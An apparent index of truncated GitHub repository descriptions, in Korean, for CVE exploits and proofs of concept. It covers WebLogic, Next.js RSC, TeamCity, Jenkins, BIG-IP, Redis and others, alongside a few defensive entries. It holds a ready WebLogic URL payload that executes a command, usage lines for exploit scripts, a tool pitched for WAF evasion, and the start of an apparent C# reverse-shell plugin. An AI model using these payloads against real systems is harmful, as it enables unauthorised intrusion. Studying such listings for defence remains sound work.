CVE-2020-7247

CVE 2020-7247 OpenSMTPD 6.4.0...

CVE-2020-6364

CVE-2020-6364 CA APM Team Center Wily Introscope에서의 원격 코드 실행. 원본 권고 CA APM Team Center의 역직렬화 취약점으로 인해 서버에서 인증되지 않은 원격 코드 실행이 발생합니다. 서버에 인증할 때 악명 높은 rO0 문자열로 시작하는 쿠키가 반환되는데, 이는 base64로 인코딩된 직렬화 객체를 나타냅니다. 정적으로 문제를 완전히 추적하지는 않았지만, 다음 코드가 취약점이 있는 코드일 것입니다. public class HttpRequestHeaderInfo implemen...

CVE-2020-9547

CVE-2020-9547: FasterXML/jackson-databind 원격 코드 실행 취약점...

cve-2021-42013-docker-lab

CVE-2021-42013 소개 Apache HTTP Server 2.4.50에서 CVE-2021-41773에 대한 수정이 불충분한 것으로 확인되었습니다. 공격자는 경로 순회path traversal 공격을 사용하여 Alias와 유사한 지시문으로 구성된 디렉터리 외부의 파일에 URL을 매핑할 수 있습니다. 이러한 디렉터리 외부의 파일이 일반적인 기본 구성인 "require all denied"로 보호되지 않으면 요청이 성공할 수 있습니다. 이러한 별칭 경로에서 CGI 스크립트도 활성화된 경우 원격 코드 실행으로 이어질 수...

MSDT_CVE-2022-30190

MSDTCVE-2022-30190 이 저장소는 Follina MSDT를 Defender 관점에서 다루고 있습니다. 목차 개요 타임라인 익스플로잇 이해하기 IOC 목록 탐지 전략 테스트 및 연구 완화 계획 참고 자료 개요 이 버그는 crazymanShadow Chaser Group 소속이 보고한 Microsoft Windows 지원 진단 도구MSDT 원격 코드 실행 취약점입니다. Microsoft는 현재 이를 CVE-2022-30190로 추적하고 있습니다. 이 결함은 보안 업데이트를 계속 받는 모든 Windows 버전Window...

NextRce

NextRce - Next.js RSC 익스플로잇 도구 CVE-2025-55182 Next.js App Router를 위한 고급 취약점 스캐너 및 익스플로잇 도구 개발자:Mitsec 🔥 새로운 기능: WAF 우회 모드 UTF-16LE childprocess나 execSync 같은 키워드를 포함한 일반적인 페이로드는 종종 웹 애플리케이션 방화벽WAF에 의해 차단됩니다. NextRCSWaff.py 는 특수 제작된 UTF-16LE Little Endian 인코딩 엔진을 활용합니다. 악성 페이로드를 이 특정 형식으로 인코딩하면 바이트...

CVE-2023-42793

CVE-2023-42793 교육 목적으로만 제공됩니다 CVE-2023-42793용 PoC CVE-2023-42793admin.sh 사용법: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port 작동 증명: CVE-2023-42793rce.sh 사용법: chmod +x CVE-2023-42793rce.sh ./CVE-2023-42793rce.sh ip/domainname port command 작동 증명:...

exploit-workshop

exploit-워크숍 이 단계별 워크숍에서는 Node.js 및 Java 애플리케이션의 취약한 패키지 버전에 존재하는 다양한 실제 취약점을 공격하는 방법을 배웁니다. 이 워크숍을 위해 설치해야 할 소프트웨어 이 워크숍은 2가지 방식으로 진행할 수 있습니다. 준비된 Docker 이미지 사용 또는 모든 것을 로컬 머신에 설치 워크숍 소개 이 워크숍은 의도적으로 취약하게 만든 여러 애플리케이션을 설치하고 공격하는 과정을 안내합니다. 애플리케이션은 알려진 취약점이 있는 실제 패키지를 사용하며, 여기에는 다음이 포함됩니다: 디렉터리 트래...

CVE-2025-7775

CVE-2025-7775 NetScaler가 게이트웨이VPN 가상 서버, ICA 프록시, CVPN, RDP 프록시 또는 AAA 가상 서버로 구성된 경우 NetScaler ADC 및 NetScaler Gateway에서 원격 코드 실행 및/또는 서비스 거부DoS로 이어지는 메모리 오버플로 취약점 또는 NetScaler ADC 및 NetScaler Gateway 13.1, 14.1, 13.1-FIPS 및 NDcPP: IPv6 서비스 또는 IPv6 서버가 바인딩된 서비스 그룹이 바인딩된 HTTP, SSL 또는 HTTPQUIC 유형의 ...

cve-2020-14882

CVE-2020-14882 영향을 받는 버전: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';"; 이미지: EXP: python3...

react2shell

React2Shell - CVE-2025-55182 익스플로잇 PoC CVE-2025-55182에 대한 개념 증명 익스플로잇입니다. React Server Components를 사용하는 Next.js 애플리케이션의 치명적인 원격 코드 실행 취약점입니다. ⚠️ 면책 조항 이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용됩니다. ❌ 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 사용하지 마십시오. ❌ 컴퓨터 시스템에 대한 무단 접근은 불법입니다. ✅ 통제된 환경에서 학습 및 승인된 침투 테스트 용도로만 사용하십시오...

CVE-2021-21974

CVE-2021-21974 CVE2021-21974 VMWare ESXi RCE 익스플로잇을 위한 PoC...

STIG-Edge-RCE-CVE2025-9478

STIG – Microsoft Edge Chromium 139.0.3405.125 원격 코드 실행 CVE-2025-9478, Plugin ID: 258091 이전 찾기: Microsoft Edge 버전 139.0.3405.86가 최신 버전이 아니며, 중요한 원격 코드 실행RCE 취약점CVE-2025-9478에 노출되어 있었습니다. 위험: 공격자는 ANGLE의 use-after-free 취약점을 악용하여 조작된 HTML 페이지를 통해 임의 코드를 실행할 수 있었습니다. 증거: 해결 방법 1. Microsoft Edge를 버전...

SSCMS-PluginShell

VisualStudio 설치 2. 이 프로젝트 가져오기 3. Startup.cs 파일에서 IPAddress.Parse 값 수정 using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System; using System.Text; using System.Net.Sockets;...

CVE-2023-27372-POC

CVE-2023-27372-POC 개요 이 코드는 대상 웹사이트에 CVE-2023-27372 취약점이 존재하는지 탐지하는 Python POCProof of Concept입니다. 단일 URL 또는 여러 URL이 포함된 텍스트 파일을 제공하여 이 코드를 실행할 수 있습니다. 영향 버전: SPIP "; 기능 대상 웹사이트에 CVE-2023-27372 취약점이 있는지 확인합니다. 단일 URL 및 여러 URL이 포함된 텍스트 파일을 지원합니다. 사용 방법 1. 필요한 Python 버전이 설치되어 있는지 확인합니다. 2. 필요한 종속...

Exihibitor-RCE

Exhibitor-RCE Exhibitor Web Ui 1.7.1 RCE, CVE-2019-5029 1단계: $ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/ 2단계: $ cd Exihibitor-RCE/ 3단계 선택사항: 스크립트에서 json 데이터 페이로드를 편집해야 할 수도 있습니다. 그러려면 exihibitor의 config 탭에서 변경 사항을 커밋할 때 burpsuite를 사용하여 요청을 캡처하고, 스크립트의 curl 명령어에 복사하여 붙여넣기만 하면 됩니다. 다...

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE zipmap 이중 해제 → 원격 코드 실행 TL;DR. 잘못된 형식의 DUMP 페이로드가 RESTORE에 전달되면 Redis의 레거시 해시-지맵 로더에서 힙 이중 해제 가 발생합니다. 기본 jemalloc에서는 이중 해제가 조용히 발생하며서버는 계속 실행됨, 이를 제어 가능한 타입 혼동 원시 요소로 전환합니다. 이 저장소는 이를 ASLR이 활성화된 상태에서 원격 코드 실행 으로 연결합니다 — Redis 작업자가 system""을 호출하고 계속 서비스를 제공합니다. DoS가...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 - CLI를 통한 임의 파일 읽기 취약점은 RCE로 이어질 수 있음 영향을 받는 제품 및 버전: 제품| 영향을 받는 버전 ---|--- Jenkis Server| = 2.441 = LTS 2.426.3 CVSS: CRITICAL 실제 악용 여부: YES 패치: YES 완화 조치: YES 도움말 usage: CVE-2024-23897.py -h -c COUNTRY options: -h, --help show this help message and exit -c COUNTRY,...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE 업데이트: /hsqldb%0a/ 우회 규칙 Java 역직렬화 또는 /hsqld%b /hsqldb; /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix: https://support.f5.com/csp/article/K52145254 hsqldb용 Python ...

CVE-2025-12674

CVE-2025-12674 KiotViet Sync = 1.8.5 - 인증되지 않은 임의 파일 업로드 🐚 KiotViet Sync = 1.8.5 - 인증되지 않은 임의 파일 업로드 📝 설명 WordPress용 KiotViet Sync 플러그인버전 1.8.5까지 포함은 createmedia 함수에서 파일 형식 검증이 누락되어 임의 파일 업로드에 취약합니다. 이 취약점으로 인해 인증되지 않은 공격자 가 서버에 임의 파일을 업로드할 수 있으며, 이는 원격 코드 실행 으로 이어질 수 있습니다. CVE: CVE-2025-12674...